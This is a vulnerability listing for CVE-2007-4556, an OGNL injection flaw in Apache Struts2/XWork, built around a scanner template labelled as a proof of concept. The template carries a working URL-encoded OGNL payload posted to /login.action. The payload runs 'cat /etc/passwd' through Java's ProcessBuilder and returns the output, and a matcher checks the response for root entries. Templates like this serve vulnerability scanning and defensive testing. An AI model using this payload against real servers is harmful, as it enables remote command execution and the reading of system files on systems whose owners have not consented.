CVE-2007-4556: OpenSymphony XWork/Apache Struts2 - Remote Code Execution

2025-08-01 OpenSymphony XWork Apache Struts2 PoC Public

Description

Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.

PoC

id: CVE-2007-4556

info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
  author: pikpikcu
  severity: medium
  description: |
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  impact: |
    Remote code execution
  remediation: |
    Update to the latest version of Apache Struts2
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54
    - http://issues.apache.org/struts/browse/WW-2030
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
    epss-score: 0.25749
    epss-percentile: 0.9786
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: opensymphony
    product: xwork
  tags: cve,cve2007,apache,rce,struts,opensymphony,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/login.action"

    body: |
      username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220433efbba478e17dbbe6ee7f31e847388ceb677eadcdba3a505e6b36e9777713a02204c00f43200874f6a2cbc534f602cd861e291965a5715283c173dc6e050c87176:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities